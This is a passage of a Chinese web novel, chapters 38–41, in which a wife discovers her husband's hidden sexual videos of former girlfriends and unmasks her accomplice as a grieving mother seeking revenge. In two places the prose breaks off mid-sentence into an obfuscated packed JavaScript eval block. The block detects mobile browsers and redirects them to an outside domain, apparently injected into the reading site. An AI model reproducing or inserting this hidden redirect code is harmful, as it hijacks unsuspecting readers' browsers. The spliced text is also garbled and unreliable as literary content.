画面左侧,伊甸园中绿意盎然,亚当和夏娃在繁茂的树下相依相伴,纯真无邪。阳光透过树叶洒落,斑驳陆离,仿佛天堂的一抹温柔轻抚着大地,空气中弥漫着宁静与和谐。 中央的画面则是一场狂欢的盛宴,巨大的水果、奇异的生物与裸体的人□□织在一起,构成了一幅荒诞不经的景象。人们在水中嬉戏,在草地上狂欢,笑声与歌声交织。 右侧的地狱则是黑暗与恐怖的深渊。恶魔与怪兽横行,受苦的灵魂在痛苦中挣扎,扭曲的身体与狰狞的面孔构成一幅幅令人毛骨悚然的景象。这里没有光明,唯有远处的业火在熊熊燃烧。 “你喜欢耶罗尼米斯·博斯?”季琪琨问。 魏芷摇了摇头:“我只是喜欢这幅画带给我的感觉。” “我也喜欢这幅画。”季琪琨说,“蜜月旅行的时候,我们可以去西班牙。这幅画的原画保存在马德里普拉多博物馆。” 他牵住了魏芷的手,感受着魏芷的五指慢慢扣紧了他的,他的心,却飞回了八年前。 “宝贝,你现在的画风和以前有天壤之别了。”季琪琨若有所思。 透进金黄夕阳的画室之中,把长发用皮绳随意挽在脑后的梅满背对着他,正在一张画布上描绘窗外湖景。 灿烂又粼粼的湖泊,在她笔下却变得荒诞暗沉,就连周遭的树影都变得扭曲混乱。 “不好看吗?”她忐忑不安地问。 梅满停下画笔,转过头来,逆光下的她,面庞和画作一样扭曲模糊。 “好看极了。”季琪琨走到她身后,一只手放到了她的肩上,双眼目不转睛地看着画作,“这才是艺术。” “也许是因为我的审美变了吧。”梅满望着自己的作品,露出了若有所失的表情,“……我再也画不出从前的那种画了。现在的我,更喜欢耶罗尼米斯·博斯那样的风格。” “这是好事啊。”季琪琨温柔地说道,“明媚的心灵,对艺术家而言就是毒药。” “……是吗?”梅满喃喃自语,脸上浮现出一抹虚弱的笑意。 “是的。”季琪琨肯定地说,加重了她肩上那只手的力气,“你喜欢耶罗尼米斯·博斯,我们以后结婚,就去西班牙度蜜月。耶罗尼米斯·博斯的巅峰之作《人间乐园》就在普拉多博物馆。” 梅满:“……好啊。” 魏芷:“……好啊。” 誓言永远不会腐朽,所以才可以说给不同的人听。 第二天,季琪琨如往常一样六点起床,跑步回来之后冲凉水澡,魏芷为他准备了香脆可口的烤面包片和咖啡。用完早餐后,魏芷又把他送到了家门口。 “路上小心。”她体贴道。 “晚上见。”季琪琨笑着走出了家门。 听着季琪琨的脚步声渐渐远去,魏芷转而走到了一面落地窗前。她等待着,等待着黑色的添越开出地库,目送着那辆车消失在街道的尽头,她才转过身,走到了禁忌之门前。 输入密码,开启书房的密码。 魏芷再一次站到了台式电脑面前,面对着熟悉的提示“最爱的艺术家”,这一次,魏芷没有犹豫,输入了SoulDominator。 “欢迎回来”。 屏幕上出现冰冷的欢迎。 他视自己为艺术家,而她们,都是他的艺术作品。 多么的傲慢,多么的冷酷,就像俯视着《人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812075|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐园》的他们,自以为独立在画卷之外,其实早就深陷其中。 她打开“我的电脑”,挨个检查硬盘里的文件。 在一个足有1T的本地磁盘中,她不仅找到了魏来网盘里的4000多G的情感控制资料,还找到了许多以两至三个大写字母命名的文件夹。 “ZYW。” “WN。” “TJY。” …… 魏芷点进其中一个名为“MM”的文件夹,里面都是各式各样的不雅照片和□□视频。光影交错间,女性的面孔被放大、聚焦,而镜头后的那个人,却始终隐藏在黑暗中,看不见他的脸,听不见他的声音,只有那双无形的眼睛,如影随形,窥探着、侵犯着、操控着一切。 尽管如此,魏芷还是从那偶尔露出镜头的身体部分,辨认出了他的身份。 魏芷的呼吸开始急促,她感到一股难以名状的恶心从胃中升起,直冲喉头。 终于,她再也无法忍受,踉踉跄跄地冲出书房,奔向客厅的垃圾桶。她的身体剧烈颤抖,仿佛随时都会崩溃。她跪倒下来,双手紧紧抱住垃圾桶,喉咙发出压抑的声响,泪水顺着她的脸颊流淌下来。 “呕——” 周围的光线似乎在这一刻黯淡下来,室内的死寂被她剧烈的呕吐声打破,又迅速归于平静。她颤抖的双手紧握着垃圾桶的边缘,仿佛抓住最后一丝理智。汹涌的泪水顺着她的下巴滴落在地毯上,晕开一朵朵湿润的痕迹。 她的身体在抽搐,但她没有哭出声来,她努力压抑着内心的怒火,那股炽热的情感在胸中翻涌,却又不得不被强行压下,化作一阵阵剧烈的绞痛。 那些残酷的画面,就像水下的水草一样,紧紧缠绕着她的灵魂。 当她连胃酸也吐不出来的时候,身体里只剩下仿佛要将她撕裂的剧痛。 魏芷用纸擦掉嘴上的脏污,强撑着身体站了起来,慢慢走回了书房的电脑前。她逼迫着自己睁大眼睛,用手机记录下电脑上的发现。手机的内存不够,她当即买了个大容量移动硬盘,让跑腿的送来。 1T的文件传输了3.7个小时,当传输全部完成,她将书房的一切恢复原样,更换了客厅的垃圾袋。 思考再三,她将机械硬盘放进密封袋中,然后放进了马桶水箱里。 波荡的水波吞没了罪证,被业火灼烧过的伤痕却不会消失。魏芷坐在马桶盖上,身体似乎失去了和她灵魂的连接,她仍在她的身体里面,却控制不了全身乃至指尖的战栗。 手机震动起来,屏幕上显出水站的座机电话。 第一次尝试,手机从颤抖的指缝中滑落,第二次尝试,魏芷才好不容易将手机拿到耳边。 “……喂?” “郑田心到水站了,你什么时候过来?”谭孟彦说。 魏芷没有立即说话。 “谁也不会怪你的,小芷。”母亲的声音再一次回响在脑海之中,“我们都知道你尽力了。” 不力竭而亡,怎么算是尽力? 她所苦苦追求的,不是一个人的成功逃亡,而是所有人的救赎。 为此,她牺牲了一切,孤注一掷地走在这条路上。 “我现在来。”她哑声说,挂断了电话。 她绝不会后退。 39.第 39 章 银色的卷帘门哗啦一声提起,穿着白色背心和黑色运动长裤的谭孟彦在门后眯着眼看她。 魏芷从阳光明媚的室外,踏入昏暗凌乱的水站。 结着蛛网的电灯有气无力地垂在角落,雀跃的尘埃像兴奋无知的孩童,争先恐后地朝仅有的一束自然光源里挤去。 魏芷踏上腐朽的木楼梯,在吱呀声中走上水站小小的二楼。 谭孟彦从她身后走出,站到了阁楼唯一的小窗户前,宽阔的肩膀挡住了大部分光线,阁楼立即暗了一大半,棱角分明的面孔隐于逆光之中,过长的刘海垂落下来,遮住了他的双眼。 郑田心还是坐在那张木桌前,胸前放着一个不锈钢饭盒,她的笑容在光线的分割下显得格外诡异,仿佛是两幅截然不同的画面拼接而成。 阳光照亮的那一边脸庞,肉嘟嘟的肌肤泛着油腻的光泽,笑纹如同被无形的手指轻轻勾勒,嘴角上扬时露出一排整齐却略显拥挤的牙齿,那是一种近乎病态的欢乐。而阴影笼罩下的另一半面孔,则沉浸在幽暗之中,只留下模糊的轮廓和深邃的眼窝,笑容在那里变得晦涩难辨,就像是一张面具,掩盖了所有真实的情感。 这半明半暗的笑容,在光与影的交织中扭曲着,让魏芷感到背后一阵凉意。 “小魏,我特意给你带了我得意的烧豆腐,还有土豆红烧肉……这些都是你爱吃的。” 两只油腻肥厚的手按住不锈钢饭盒,将其缓缓推向魏芷方向,饭盒在凹凸不平的木桌上发出刺耳的声音,就像一把小刀划过粗糙的人体皮肤。 木屑如血液短暂飞扬了一瞬,然后就无力地摔落了下来。 魏芷在郑田心对面坐了下来,看着她打开了不锈钢饭盒,露出里面还热腾腾的饭菜。 “快趁热吃吧。”郑田心笑着催促道。 “我在季琪琨的电脑里发现了这个。” 魏芷没有去碰那盒饭菜,而是将魏来的旧手机拿出来,调出她匆忙间在季琪琨电脑中录下的冰山一角,展示给郑田心看。 一开始,郑田心没有意识到那是什么东西。直到女性赤裸的身体出现在画面中,她才猛然明白过来,接着,那假面似的笑容瞬间湮没,一种可谓凶狠可怖的神色出现在她脸上。 “这是在哪里发现的?” 郑田心说着,就要伸手拿过旧手机。魏芷在那一刻收回了手,十根没有佩戴饰物的手指紧紧扣在旧手机上。 郑田心的手扑了个空,诧异地朝她看来。 “拿到这个之后,你打算怎么做?” “当然是去挨个调查这些当事人,找到季琪琨强迫她们拍摄视频的证据。”郑田心收回手,笑容重新挂回脸上。 “如果找不到呢?” 郑田心一愣。 “如果没有人证,法官就只能从视频上判断其中是否存在胁迫。” 魏芷此前已经强迫自己看完了所有视频,就算没有——她也知道,季琪琨不需要暴力胁迫。 他有一百种方法,让女人自愿和他拍这样的视频。就像梅满最后用自己的双腿从天台上一跃而下一样。 “在没有暴力胁迫、传播和盈利的情况下,即便是偷拍,那也只是违法行为,达不到犯罪的程度。”魏芷说,“我记得你说过,要想延长追诉期,必须找到他在十年内再次犯罪的证据。” “……是这样。”郑田心的后背靠回了椅背,她笑着说,“我也只是想多种可能多种路嘛。万一,这里面就有遭到暴力逼迫,才拍视频的人呢?” “我说过,如果我发现你骗了我,我会随时退出。”魏芷说。 郑田心不慌不忙地说道:“我当然还记得,小魏,我可没骗你啊。” “你没有骗我,你只是误导了我。” “你这是在说什么?”郑田心的笑容有了些微的变化。 “以季琪琨的性格,他会突然自白犯罪过程的可能性几乎为0。你真正想要寻找,并有把握找到的——”魏芷从木椅上站了起来,目不转睛地看着郑田心,“是季琪琨对我婚内施暴的证据。” 郑田心脸上的笑意渐渐转为了另一种意味。 “所以你才会煞费苦心地帮我隐瞒欠债的事情,帮我嫁入季家,让我成为季琪琨法定的家庭成员。”魏芷说,“甚至在更早之前,你就开始帮我吸引季琪琨的注意力。只因为我是你千挑万选之后,最合适的诱饵。” “你有什么证据?这都是你的猜测呀,小魏。说这种全是猜测的话,只会破坏我们之间的信任。”郑田心笑道。 “季琪琨的前女友——梅满和谭靖雁都有一个共同点。”魏芷说。 她曾疑惑过,郑田心挑选合作对象的标准是什么。 要先知道她真正的目的,才能知道她的审核标准。如果是为了吸引季琪琨的注意力,让季琪琨咬钩而来,答案就昭然若揭了。 “她们都有一个不圆满的家庭,或许,内心也都有一些创伤。”她说,“谭靖雁三岁的时候父母双亡,亲戚不肯收养女孩,将她送给了一对城里的夫妻。梅满则由单亲母亲抚养长大,她的母亲是个职业女性。” “而我,原生家庭压抑,长期服用抗抑郁药物。” “季琪琨喜爱的,就是这种原生家庭有缺陷的女人。她们缺乏爱,所以才会更加渴求爱,”她轻声说,“……不顾一切的。” “你从许多人中挑选了我,为我和季琪琨创造了一个又一个相处的机会,只为了将我送到季琪琨的刀下。” 半晌的寂静后,郑田心的嘴角咧了起来,喉咙里也发出了一丝轻微的嗤笑。谭孟彦依旧靠在窗前,他的身影融化在光圈之中。 郑田心拿起一次性筷子,那双略显笨拙的手指在光线的映照下显得格外粗壮。她拿过魏芷没碰的饭盒,夹起一筷豆腐往嘴里送去。 “瞧你说的,小魏——” 大块大块的豆腐被接连不断地送进口中,郑田心的脸颊明显鼓了起来,仿佛有某种柔软的力量在里面缓缓涌动。每一次咀嚼,她的下巴都有节奏地上下移动,偶尔,她的嘴唇会轻轻抿合,以捕捉那些试图逃逸的汁液,而她的目光则始终紧锁在魏芷身上,保持着一种诡异的冷静。 “……难道不是你自己想要麻雀变凤凰,才用了各种小手段去勾引季琪琨吗?我也只是做了顺水推舟的事情呀。”她慢条斯理地说道。 “像谭靖雁和梅满一样被季琪琨伤害,也是我自己想要的吗?”魏芷问。 郑田心夹起一筷排骨,用力咬了下去,魏芷几乎能听到骨头与她的牙齿发生冲撞的声音。 “小魏,你也是成年人了。不可能你光想得到好处,却不承担代价吧?” “……你还记得你真正的名字吗?” 郑田心的笑容消失了,取而代之的是一种可怕的冰冷。眼角余光中,谭孟彦也抬起了头,露出了那双黑白分明,天生带着冷意的眼眸。 她毫不退缩地看着郑田心。 她的目光中没有任何掩饰,也没有任何温柔,只有纯粹的、毫不掩饰的审视。 这种注视让郑田心感到一种难以言喻的不安,仿佛自己的一切秘密都被暴露在阳光之下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812076|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 同一时刻的大山关派出所,张开阳从师弟手中接过了一沓资料。 “和去年一样。”师弟说。 为了防止梅满那样的事再次发生,八年的时间里,张开阳一直拜托手下的师弟留意季琪琨的动向,同样,他也在一直追踪翁秀越的行踪,担心她一时冲动,犯下无法挽回的错误。 季琪琨还算安分守己,但翁秀越,在这八年时间内,却从未出现过。 她家里的水电早已停用,就连物业费也一直欠缴,户籍没有迁移,房产和车却都落下了厚厚的灰尘,社保更是自辞职之后就一直断缴,甚至名下的信用卡和银行卡,都没有再发生过任何交易。 她就像从这个世间消失了一样。 就连季琪琨在六年后重返江都市,翁秀越也始终没有出现过。 难道是时光抹平了伤痛,她已经放下过去,重新开始了? 想起翁秀越曾经在派出所里充满仇恨的眼神,张开阳直觉这件事始终没有结束。 湍急的河流,只是从地面,转移到了地下。 “已经这么久了,师兄,你还要继续跟下去吗?”师弟劝道,“八年都没有动静,那就是真的过去了。” 张开阳并没有被说服,他继续问道:“谭靖雁和王双的双亲那里有消息吗?” 谭靖雁为季琪琨打掉一个孩子,又因为季琪琨的分手威胁,疲劳驾驶出了车祸当场身亡;王双则是季琪琨的另一个前女友,在梅满之后,他们交往了一年时间,分手的时候,王双已经患有重度抑郁,自杀挽留季琪琨未果,如今已被她的父母送往国外疗养。 如果翁秀越要寻找复仇的帮手,这两人的父母就是很好的选择。 “我把翁秀越的外貌特征给他们说了,照片也看过了,但这些年来,翁秀越都没有找过他们。”师弟说。 张开阳紧皱眉头,沉默了下来。 “啊,不过——王双的母亲那边,说一年前有个女人去找过她们。” “一年前?” 师弟连忙解释道:“因为和翁秀越的外貌特征明显对不上,所以我就没跟师兄说。估计就是单纯的好事者吧,来王双的父母那里打听八卦的。” “你还记得那个人的外貌特征吗?” “那当然——因为太好记了。”师弟说道,“来找王双父母的,是一个目测一百八十多斤,不修边幅的胖女人。” …… 你还记得你真正的名字吗? 时间从魏芷发出叩问的这一秒起,变得粘稠而缓慢,郑田心面无表情地看着魏芷一翕一合的嘴唇中,一字一顿地吐出她的名字。 那三个字,宛如毒沼泽中倾倒而出的淤泥,逐渐淹没了郑田心的身形。 肮脏腐臭的淤泥下,藏着她真正的模样。 “如果是你,你能忘记吗?”她问魏芷。 魏芷没有回答她的问题。 她也不需要任何人来回答这个问题,因为她的心中早就有了答案。 郑田心放下一次性筷子,从桌前慢慢站了起来,庞大的身形仿佛一座沉重的山丘,逐渐遮蔽了桌面的光线。投下的阴影如同一张无形的大网,悄无声息地在桌面蔓延开来。 她的目光空洞而冷漠,肥厚的脸庞在光与影的交错中显得更加阴森。在这片寂静中,她就像是一个沉默的巨人,存在本身就是一场无声的噩梦,散发着令人窒息的压迫感。 翁秀越眨也不眨地看着魏芷,说: “我不能,也永远不会忘记。” “我是一个失去女儿的母亲。” 40.第 40 章 再这样下去,只能让季琪琨逍遥法外。 八年前,站在那条车水马龙的街头,翁秀越产生了如此念头。 这个念头就像是积蓄了一冬养分的种子,遇到立春后的甘霖,转瞬就在翁秀越的心中扎根生长,蓬勃向上。 一滴水想要隐匿在大海中是多么容易。 不久之后,季琪琨彻底失去了踪迹,这颗种子也长成了不可动摇的参天大树。 她明白,如果继续以“翁秀越”身份追踪,季琪琨只会像耗子那样越躲越深。 她要为下一次开启的复仇之战,成为茫茫大海之中的另一滴水。 她舍弃了“翁秀越”这个名字,一并丢弃的,还有她刚刚还完贷款的房和车。 从前,她无论人前人后都一丝不苟,她坚信成年人无论遭遇何种挫折都应该保持一定的体面,体面即代表着成年人外显的理智。 然而,这一点却成为人们攻击她的原因。 因为她没有在女儿死后蓬头垢面,悲伤嚎哭,人们便判定她虚情假意,装模作样,所作所为只为了金钱。 她保持了四十二年的体面,在女儿死后也没有崩塌,却在此时被她亲手摧毁。 她在城郊租下一个年老失修的自建房,每天睁开眼所做的唯一的事,就是将从前避之不及的高热量食品拼命塞入口中。 就算吃不下了,吃吐了,她也会擦干眼泪,捡起掉落在地上的食物继续往嘴里塞去。 吐了吃,吃了吐。 她再也没有碰过化妆品。 每个月,她都会进城一趟。 躺在一家不知名的小旅店里,让一个不知道有没有相关资质的女人往她的脸上注射玻尿酸。 填充太阳穴,填充鼻翼,填充下巴。 躺在一家挂着美容院名号,却在私自给顾客做小手术的工作室里,让人给她开眼角,割双眼皮。 在身材渐渐走形之后,她主动走出家门,去接一些耗费体力的粗活来维持生计。 她为自己编造了一个离异有女的独居妇人形象,每个月进城都是为了看望女儿。她靠着从前做销售时的伶牙利嘴,迅速融入了农村生活。她学习她们的说话方式,走路动作,请教各家的拿手好菜。 在烈日下搬运砂石,收割苞米,也让她原本白皙的皮肤发红发黑,颧骨和面颊上生出越来越多的褐色斑点。 每到深夜,她就蒸一大锅米饭,用猪油拌饭,再大口大口吃下。 随着时间的流逝,她的身材像气球一样肿胀起来,双手也像是打磨木材的磨砂纸,越来越粗糙肥短。 她还学会了用农村妇女嬉笑怒骂的方式,赶跑想要来占她便宜的村里男人,对不经意间的搓油也不再一惊一乍,而是用泼辣的语言骂得对方窘迫胆缩,悻悻而去。 她渐渐变成了另一滴水。 她变成了郑田心。 两年前,她终于再一次得到季琪琨的消息。她的销声匿迹,让季琪琨以为她已经放弃复仇。他回到江都市,开了一家画廊。 她退掉了乡下的自建房,穿着一件大花裙子,趿拉着一双米色的塑料凉鞋,像一个被风灌满的花哨塑料口袋那样,笑盈盈地站在OCEAN艺术中心的招聘室里。 她和刚结束文职工作人员招聘工作的季琪琨擦肩而过。 他没有认出她。 在成为OCEAN艺术中心的食堂工作人员后,她先后找到同样是受害者家属的谭孟彦和习蔓菁,说服他们和自己联手复仇—— 在习蔓菁那里,她使了一点小手段,让她相信她的手中有季琪琨伤害季鹏的证据。 她对季琪琨太过了解了,他的每一个小习惯她都烂熟于心。她从万千人中,选中了魏芷,确信季琪琨一定会将目光放到她身上。 而她,也非常争气。 “当我知道你和习蔓菁有过私下交谈后,我就知道,你一定会察觉到什么。只是我没想到,你会这么快就猜出我的身份。” 翁秀越微笑着看着木桌对面的魏芷,黝黑的目光中闪着欣赏和惊叹。 “不知该说是天意,还是我们的运气太好,魏芷,你做得比我想象中更好——甚至是太好了,所以你才会站在这里,对我提出这样的问题。” “你骗了习蔓菁,”魏芷说,“你真正想要重启的,不是季腾一案,而是梅满的案件。” 翁秀越慢吞吞地说,脸上露着不以为意的神情: “一个母亲,当然首先要为自己的孩子做打算。如果我的计划成功了,季琪琨的真面目就会被大众所知,不仅能够洗刷梅满的冤屈,也能让季腾的案件中断时效,给习蔓菁更多的时间去寻找新的证据。这怎么算是骗她的呢?” “到底是洗清梅满的冤屈,还是洗清你自己的冤屈?” “你什么意思?我哪有什么冤屈。” “如果真的是为了梅满——”魏芷逼视着她的双目,“梅满的在天之灵,会同意你牺牲一个跟她一样无辜的女性,去取得制裁季琪琨的证据吗?” “你不必在这里跟我讲什么大道理。”翁秀越沉下脸来,堆叠的肥肉中露出凶狠的表情,“我们各取所需,你要钱,我要证据,我不是好人,你又是无辜在什么地方?” “……到了现在,你还在固执己见。”魏芷说,“梅满的死,只是季琪琨一人造成的吗?” “你懂什么!”翁秀越忽然激动大喊。 她的脸庞涨得通红,眼睛瞪得极大,血管在皮肤下隐隐可见,那张平日里总是笑容满面的脸扭曲成了一种难以形容的表情。 “不是他季琪琨还会有谁?连你也要否认这个事实吗?!” “为什么梅满直到出事前,也从没对你说过她的痛苦?” “当然是因为我忙了!” 翁秀越猛地抬起手臂,指向空无一人的方向,手指因为激动而不停地抖动。 “我那时为了加把劲把房贷还清,我不要命地工作,我全国各地到处飞,你以为一个单亲母亲养大一个孩子并送她上大学是件很容易的事吗?!” 她的声音从喉咙深处挤出,起初是低沉的咆哮,随后逐渐升高,变得尖锐而刺耳。每一句话都像是用尽了全身的力量,字句之间充满了无法抑制的愤怒与绝望。 “我省吃俭用给她最好的生活,她喜欢的想要的我统统给她买,她虽然没有爸爸,但和其他小孩没有什么两样!我一个人承担着两个人的角色,我拼了命地工作,哪怕打吊瓶也要开车去客人家里开单,我做了这么多,为的就是让她不被人看不起,让她和其他人没什么区别!” 在她说完之后,她依旧瞪着魏芷,胸口因剧烈的情绪波动而不断起伏,粗重的喘息声像即将腐朽的风箱发出最后的呐喊。 魏芷看着她的模样,不可避免地想到了自己的母亲。 王琳和翁秀越、的性格截然不同,但她们都有一个共同点—— 她们的爱,满是惨痛、鲜血、牺牲,却又毫无意义。 她们的爱,为她们带来的更多是伤害。 “如果犯错的人不能直视自己的错误,就算你最后让季琪琨进了监狱,那也不叫复仇。”魏芷静静地说道,“那只是为了自我心安的赎罪罢了。” 翁秀越庞大的身躯微微颤抖,双肩像是承受着无形的压力,不时地耸动。双手紧紧握拳,指节因用力过猛而泛白,指甲深深嵌入手掌心,却似乎感觉不到疼痛。 她怒视着魏芷,因为被触及了真心,所以眼珠中闪烁着仿佛要将眼前一切都焚烧殆尽的怒火。 “我也是一个女儿,所以我知道,当我遇到这样的事,选择对母亲隐瞒一切的时候,只有两种可能——” 魏芷看似平静的面容之下,思绪却如潮水般汹涌。过往种种回忆的浪头拍打在她心壁上,都激起一阵苦涩的回响。那些被尘封在心底的记忆,如同幽暗深处的磷火,一盏接一盏地亮起,将往昔的景象照得清清楚楚。 她比谁都爱自己的母亲。 她的母亲,也比谁都爱她的女儿。 她们对对方的爱,既深沉,又自以为是。是这样的爱,将她们推向悬崖。 “一种是知道母亲无能为力,为了母亲而善意的隐瞒;一种是知道母亲不仅不会理解支持自己,反而还会成为伤害自己的一员,为了保护自己而故意隐瞒。” “你是哪一种母亲呢,翁秀越?” 魏芷话音落下后,好一会阁楼里都只有翁秀越近乎痛苦呻吟的呼吸声。谭孟彦像个无声无息的影子,从魏芷道破翁秀越身份后,就再也没有动过。 翁秀越的嘴唇颤抖着,时而紧闭,时而微微开启,那双仍充斥着怒火的眼中,不受控制地涌出了泪水。 泪水洗涤了熊熊燃烧的愤怒,她脸上的表情,更接近于被人活生生撕下与皮肤生长为一体的假面的剧痛。 她想要反驳和否认,但情感背叛了她的理智,崩溃的泪水进一步抹杀了她的声音。 朦胧的泪光之中,她看到了黯淡发黄的尘封时光中,三十年前的自己。 三十年前的自己,在产床上拥抱了历经生死磨难,才从自己身上掉下来的一块肉。那块肉,初看滑稽,皱皱巴巴地,连眼睛都睁不开。她却从第一眼起,不,还要更早之前,在那块肉还在她身上的时候,她就决定要用尽全力让她过上圆满的一生。 那年,她刚二十岁,高中毕业后离开家乡打工,在一家公司当前台的时候,和一名同乡 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翁秀越对自己的超高要求延续到梅满身上,德智体美劳都必须全面发展,名列前茅。 同时,她也不允许梅满置喙她的决定,她尽全部努力给梅满最好的生活,条件是梅满要做个“乖小孩”。 在同龄人还在玩迷宫直尺的时候,梅满已经拥有了自己的第一个手机。 她要求梅满每天上学、放学、到家,都要跟她打电话报备行程。 如果哪一科功课没能拿到第一名的成绩,她就会彻夜与梅满分析失误的原因,直到她保证下一次一定不会再让她失望。每当这时,她的内心又欣慰又忐忑,欣慰是欣慰女儿如此懂事,忐忑是忐忑内心一股还不明了的不安。 “妈妈,对不起。” “妈妈,是我不好。” “妈妈,别生气了。” 小小的女儿小心翼翼地擦掉她脸上的泪水,赌咒发誓再也不会让她失望。她只在女儿面前流下的泪水,这才会意犹未尽地止住。 “妈妈都是为了你好,梅满。”她抱着女儿小小的身躯,语重心长地说道,“现在这社会,不读书就没有出路了。不读书以后只能去收废品,洗盘子,大家不仅会笑你,也会笑妈妈没有教好你……” 小小的梅满在她怀中懵懵懂懂地点头,或许她还不明白洗盘子和收废品有什么可怕,但她为了让她不再伤心难过,愿意许下任何承诺。 因为她爱她。 “主人,对不起。” “主人,是我不好。” “主人,别生气了。” 因为她爱他。 因为她习惯了卑微地讨好,以祈求那有条件的爱。 午夜梦回的时候,翁秀越的理智会冲破情感的恐惧,发出小小的质问—— 面目全非的女儿躺在冰冷的停尸间里,难道只是季琪琨一人的错误吗? 如果她真的像她以为的那样,是个无可指摘的母亲,为什么女儿直到走上绝路,都没有在她面前吐露过哪怕一次内心的脆弱? 还是或许有过,只是她没有抓住。 “妈妈,你忙吗?” 在她跳楼半年前,她曾收到过女儿的信息。 那时,她正在酒桌上应酬,为了一家公司的保险大单,她已经喝吐了两次,却还是在酒桌上来者不拒。 她用软弱无力的手指在手机上敲下与平时无二的简短回覆。 “怎么了?” “我最近有点心烦……我也不知道是我自己的问题还是对方的问题。” “你是不是在大学谈男朋友了?”翁秀越连酒桌上的对话也顾不上了,她用发昏的眼神努力对焦着屏幕,用手指的身体记忆飞快地敲下句子,发了出去。 “你去之前妈妈怎么叮嘱你的?不要在大学交男朋友,那些都是不真诚的,走不到最后的!” “我没有交男朋友,我说的是我和一个朋友。” 她无视了梅满的回答,继续在屏幕上用力敲字: “记住我的话!就算你在大学有了有好感的男生,也一定不要和他发生关系!婚前千万不能有不三不四的事情,不然你这辈子就毁了!” “我知道的,妈妈。” 后来她回复了什么,她忘记了,也许根本就没有继续回复。 留在她记忆中的,只有那一晚厕所里呕吐物的异味。 真正重要的东西,却被她忘到脑后。 一直以来,都是如此。 直到彻底失去后,她才发现自己做错了什么。 女儿曾向她伸出过求救之手—— 而她没有抓住。 41.第 41 章 “你想要我以身作饵,为你的女儿换回正义,但你忘了——我也是一个女儿。如果我受到伤害,我的母亲也会心痛如绞。” 魏芷说: “我们的合作,到此为止。” 魏芷转身欲走,翁秀越怒形于色,大叫一声:“谭孟彦!” 谭孟彦依旧靠在窗前,像是听不见翁秀越的命令一样,一动不动。他无动于衷的目光落到魏芷身上时,眼神微动,仿佛多了丝温度,但他很快就垂下了目光,将情感隐藏于黑色的发丝之中。 “谭孟彦,你在干什么?!”翁秀越的声音更加高昂愤怒。 魏芷已经走到了楼梯口,翁秀越终于放弃了说动谭孟彦,转而对魏芷直接说道: “你今天要是敢走出这里,我就把你真正的征信报告送给季琪琨。” 魏芷脚步一顿,回头朝她看去。翁秀越见她停步,立即又换上了笑脸。拥挤的肥肉在脸上挤出一条条水沟,斑驳的泪光在沟底反射着水淋淋的光。 “小魏啊,你何必走呢,这明明是双赢的事情,你何必搞得鱼死网破呢?我知道你的难处,我们可以坐下来继续谈嘛!我知道这对你来说一时难以接受,但你要知道,你出去上班打工,十辈子也挣不到这么多钱啊!我已经调查清楚了,光季琪琨名下的不动产就价值千万,更别说银行里的各种理财投资了——只要你和我们合作,我保证让那张婚前协议变成一张白纸!” 那张非哭非笑的吊诡面庞,让魏芷心底感到一阵深深的悲哀。 魏芷没有回话,而是转过身,走下了水站的楼梯。 “魏芷!” 翁秀越追了下来,木楼梯在她脚下咚咚作响。 “都到这一步了,你真的舍得前功尽弃吗?!”她怒吼道,“好!你不怕季琪琨知道,你觉得他不在乎那一百万的欠债,我就把你的征信送给季钟永,让他知道,你是个撒谎成性,不择手段处心积虑的女人!他也会像季琪琨那样,觉得这是件可以翻篇的小事吗?!” 魏芷用力握住卷帘门底部弓形拉手,然后用力一抬,那双细瘦的手,以不可思议的力量撕开了幽暗,室外的阳光倾盆而入,照耀在她修长的手指上,那枚硕大而明耀的钻石戒指,折射出比阳光更为刺目的光芒。 魏芷头也不回地走了出去。 阳光从拉开一半的卷帘门中涌进,宛如一道被拉长的金色地毯,因无力穿透更深的空间,只能铺在翁秀越的脚前。数不清的矿泉水桶如同沉默的守卫,层层叠叠地矗立在这狭小的空间里,它们的存在让原本就不宽敞的地方显得更加局促。 翁秀越神色难辨地看着魏芷的背影消失在人群之中,在她身后,响起了谭孟彦缓缓走下楼梯的脚步声。 “我早说过了,不用那么复杂。” 谭孟彦站到她身后,声音低沉暗哑。 “我本来就活不了多久了。”他说,“让我去。” “……如果要杀他,用得着你?”翁秀越转过身,冷笑着面对谭孟彦,“早就八年前,他就死在走出法院的那一刻。” “我不杀他,是不敢杀吗?” “我要的,不是鱼死网破的惨胜。”她从牙缝里一个字一个字地咬出声音,“我要全面的、碾压性的、彻头彻尾的胜利。” “那你想怎么办?”谭孟彦问。 “把那份征信报告,给季钟永送去。” …… 魏芷回到家不过半个小时,季琪琨的电话就打到了她的手机上。 她看着手机屏幕上显示的名字,过了片刻才接了起来。 “……喂?” “伯父让我立即回家一趟,好像是和你有关。我回来接你,我们一起过去。” 魏芷沉默了一会,听筒里就只剩下挂断之后的忙音。 她平静地起身,走到衣帽间换了一身适合见长辈的简约套装。等她换好衣服,季琪琨也已到了楼下。 “伯父在电话里非常生气,还提到了离婚——老婆,你有什么头绪吗?” 季琪琨单手握着方向盘,从后视镜里漫不经心地扫了魏芷一眼。他的表情非常松散,为了将这个有意的问题装得无意,但却忘了,在这样的情景下,一个丈夫最不应该出现的情绪就是不以为意。 “……对不起,我不知道能说什么,等到了伯父家,你就会知道了。”魏芷低声说。 季琪琨握住了她放在腿上的手。 